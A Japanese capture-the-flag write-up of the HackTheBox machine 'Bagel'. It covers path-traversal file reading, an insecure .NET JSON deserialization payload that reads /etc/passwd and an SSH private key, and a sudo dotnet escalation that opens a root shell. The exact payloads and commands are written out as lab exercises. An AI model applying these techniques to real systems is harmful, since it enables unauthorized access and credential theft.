始めに
HackTheBox の Bagel の Write up です.
一か月ぐらい前に攻略したのを思い出しながら書きます.
道のりは一か所高い崖があり残りは平坦という感じ.
マシンの情報
- マシン名: Bagel
- OS: Linux
- 難易度: Medium
攻略
User
nmap
Nmap scan report for bagel.htb (10.10.11.201)
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Fri, 28 Apr 2023 12:32:09 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Fri, 28 Apr 2023 12:32:25 GMT
| Connection: close
| Help, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 28 Apr 2023 12:32:36 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 28 Apr 2023 12:32:09 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (version).)</h1>
| TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 28 Apr 2023 12:32:37 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Fri, 28 Apr 2023 12:32:10 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Fri, 28 Apr 2023 12:32:05 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
| http-title: Bagel — Free Website Template, Free HTML5 Template by fr...
|_Requested resource was http://bagel.htb:8000/?page=index.html
8000番から見る.
Web(port 8000)
Top ページ.URL が怪しい.
Orders というページでは注文情報?のテキストファイルが見れる.
Top ページの URL をいじってみる.page=../../../../../../etc/passwd
としてみると
普通に LFI ができる.
web root を探す. 8000 番で apache や nginx 越しではないのでその辺の config は意味なし.
Python web app っぽいから /var/www/html/app.py
とか /var/www/app/app.py
をやってみるが File not found.
ホームディレクトリを見てみると /home/developer/
は読めそう.
同様に探すと /home/developer/app/app.py
が見つかる.
### ~~~ 中略 ~~~
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
### ~~~ 中略 ~~~
5000 番ポートに Web Socket で接続している.このポートには nmap で見たように外部からも接続できそうだ.
試しに "orders.txt" の所で LFI が出来ないか投げてみたが,失敗.流石にこちらは対策されている.
出来れば Web Socket 側のソースコードも読みたいところ.
app.py
中のコメントによれば先に order app を起動しているっぽい.
Web app の何個か前のプロセスを enum してみる.
Web app の PID は 893.
PID 892 は File not found だが 891 がビンゴ.
/proc/891/cmdline
から起動コマンドを参照すると dll ファイルのパスが分かる.
幸いなことに LFI で読めるので wget する.
徒労 (読まなくてもいいもの)
dll はバイナリなので,元のソースコードが読めるならそれに越したことはない.
dotnet という事は C# かなとは思ったが,C# なんも知らんなので手元で一回ソースからコンパイルしてみてディレクトリ構成等を確認してみる.
こちらの記事を参考に myApp というプロジェクトを作ってみた.するとディレクトリ構成は以下の様になった.
$ tree myApp
myApp
├── bin
│ └── Debug
│ └── net6.0
│ ├── myApp
│ ├── myApp.deps.json
│ ├── myApp.dll
│ ├── myApp.pdb
│ ├── myApp.runtimeconfig.json
│ └── Newtonsoft.Json.dll
├── myApp.csproj
├── obj
│ ├── Debug
│ │ └── net6.0
│ │ ├── apphost
│ │ ├── myApp.AssemblyInfo.cs
│ │ ├── myApp.AssemblyInfoInputs.cache
│ │ ├── myApp.assets.cache
│ │ ├── myApp.csproj.AssemblyReference.cache
│ │ ├── myApp.csproj.CopyComplete
│ │ ├── myApp.csproj.CoreCompileInputs.cache
│ │ ├── myApp.csproj.FileListAbsolute.txt
│ │ ├── myApp.dll
│ │ ├── myApp.GeneratedMSBuildEditorConfig.editorconfig
│ │ ├── myApp.genruntimeconfig.cache
│ │ ├── myApp.GlobalUsings.g.cs
│ │ ├── myApp.pdb
│ │ ├── ref
│ │ │ └── myApp.dll
│ │ └── refint
│ │ └── myApp.dll
│ ├── myApp.csproj.nuget.dgspec.json
│ ├── myApp.csproj.nuget.g.props
│ ├── myApp.csproj.nuget.g.targets
│ ├── project.assets.json
│ └── project.nuget.cache
└── Program.cs
注目して欲しいのは myApp.dll
のパス(myApp/bin/Debug/net6.0/myApp.dll
)がちゃんと bagel.dll
のパス(/opt/bagel/bin/Debug/net6.0/bagel.dll
)と対応しているという事とソースコードファイルが myApp/Program.cs
存在している点である.
従って /opt/bagel/Program.cs
にソースコードがある事が期待できる と思ったのだが...
Hello, World かい.
bagel.cs とか色々試してみたが無駄.仕方ないので逆コンパイルする事にした.
後で驚くのだが,dll の逆コンパイルがあんなに綺麗に出来るとは露知らなかったので,結構必死にソースコードを探してしまった.
以上,徒労終わり.
dll なんも知らんだったのでググって出てきた ILSpy でデコンパイルをやってみる(Kali 上ではなくホストの Windows 上でやります).
Insecure deserialization
ここからがこのボックスで最も難しく,そして最も面白いパートである.
ILSpy で件の dll ファイルを開くと綺麗にデコンパイルされる.
まず DB Class
の中に database 接続のための cred が書いてある.しかし ssh はできない(パスワードログイン不可).
本体の方を見ていく.Web Scoket を通して投げられた json は次のように処理される.
-
JsonConvert.DeserializeObject<Base>
によってBase
クラスのインスタンスオブジェクトrequest
にデシリアライズされる.Base
クラスはOrders
クラスを継承している. - デシリアライズされる際に json の値によって全ての(パブリック)プロパティが初期化される.
-
request
を今度はシリアライズする.すなわち全てのプロパティの値が取得され json 化される. - json を Web Socket で返す.
デシリアライズと言えば安全でないデシリアライゼーションがある.JsonConvert.DeserializeObject
についても調べると色々出てくるが,
- https://www.abatchy.com/2017/10/defcamp-dotnot
- https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15
が参考になった.ポイントは
-
JsonSerializerSettings
のTypeNameHandling
が 4 (auto) に設定されているとき, -
object
のような抽象的な型のプロパティは json の$type
フィールドに具体的な型を設定してデシリアライズ可能
という事である.今の場合 1. は満たされている.2. も都合よく Orders
クラスの RemoveOrder
プロパティの型が object
なので恐らくこの方向で正しそう.
次の問題は RemoveOrder
をどの型のオブジェクトにデシリアライズするか,である.
最初,上に挙げた2番目の記事に引っ張られて元からあるシステムの型で何か出来ないか,かなりの時間試行錯誤した.
Windows 上であれば任意コード実行できるようなのだが,このボックスは Linux なので必要なライブラリが入ってない?ようである.
他にも FileSystemInfo
オブジェクトの UnixFileMode
プロパティを変更することでファイルパーミッションを変えられるというのを見つけたのだが(こちら参照)残念ながら .NET 7 以降のみで使えるようで今回は無理だった(もし使えていたらこちらからも攻略できたはず).
少し詰まったが改めてコードを見直している時にようやくひらめいた.Orders
クラスの中で使われている File
クラスを使えばいいのだ.LFI 対策は Orders
クラスで行われていて File
クラスは無防備な事が鍵である. 加えて File
クラスのインターフェースが ReadFile
という プロパティ で提供されている事も大事.メソッドだとデシリアライズの際に呼び出す事は出来ないから.(自分の感覚だとこういうのはメソッドで実装するのが自然なのではと思うのだが,C# ではこれが普通の書き方なのだろうか?)
やりたい事をまとめると,json から Base
クラス(実質Orders
クラス)がデシリアライズされる際に, RemoveOrder
プロパティを File
クラスとしてデシリアライズし,さらにその際に ReadFile
プロパティを ../
もりもりで set するという事である.ややこしい.
本当にいけるかやってみる.
$ python3 -m websockets ws://bagel.htb:5000
Connected to ws://bagel.htb:5000.
> {"RemoveOrder": {"$type": "bagel_server.File, bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "ReadFile": "../../../../../../etc/passwd"}}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "10:40:54",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
いけた!
(ちなみに $type
フィールドの bagel_server.File, bagel
の部分はソースコードの一番上のコメントに書いてあるのを使う.ここも地味に詰まった.)
こっちのプロセスはユーザー phil
の権限で動いているので,phil
のホームディレクトリが覗ける.
そして /home/phil/.ssh/id_rsa
から秘密鍵が得られる(あって良かった).
Root
Root は簡単なのでサラッと.
まずさっき使えなかったパスワードで developer
にログインできる(su
を使う).
sudo -l
を見ると
[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
dotnet
コマンドを root 権限で使える.
後は C# でシステムコマンドを実行するコードをググって書いて sudo dotnet
で実行するだけ.
[developer@bagel phil]$ cd /tmp
[developer@bagel tmp]$ mkdir myApp
[developer@bagel tmp]$ cd myApp/
[developer@bagel myApp]$ dotnet new console
The template "Console App" was created successfully.
Processing post-creation actions...
Running 'dotnet restore' on /tmp/myApp/myApp.csproj...
Determining projects to restore...
Restored /tmp/myApp/myApp.csproj (in 177 ms).
Restore succeeded.
[developer@bagel myApp]$ vim Program.cs
[developer@bagel myApp]$ cat Program.cs
using System.Diagnostics;
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName="/bin/bash";
startInfo.ArgumentList.Add("-c");
startInfo.ArgumentList.Add("bash -i");
Process.Start(startInfo).WaitForExit();
[developer@bagel myApp]$ sudo dotnet run
Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.113
----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
/tmp/myApp/Program.cs(6,1): warning CS8602: Dereference of a possibly null reference. [/tmp/myApp/myApp.csproj]
[root@bagel myApp]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
マシンは出来るだけ汚さず立ち去りましょう!!!
[root@bagel myApp]# cd ..
[root@bagel tmp]# rm -rf myApp/
感想
夢中になって一気に攻略したボックスだった.
こういう straightforward に高い壁を越えていくボックスは結構好み.
今までで一番楽しかったかもしれない.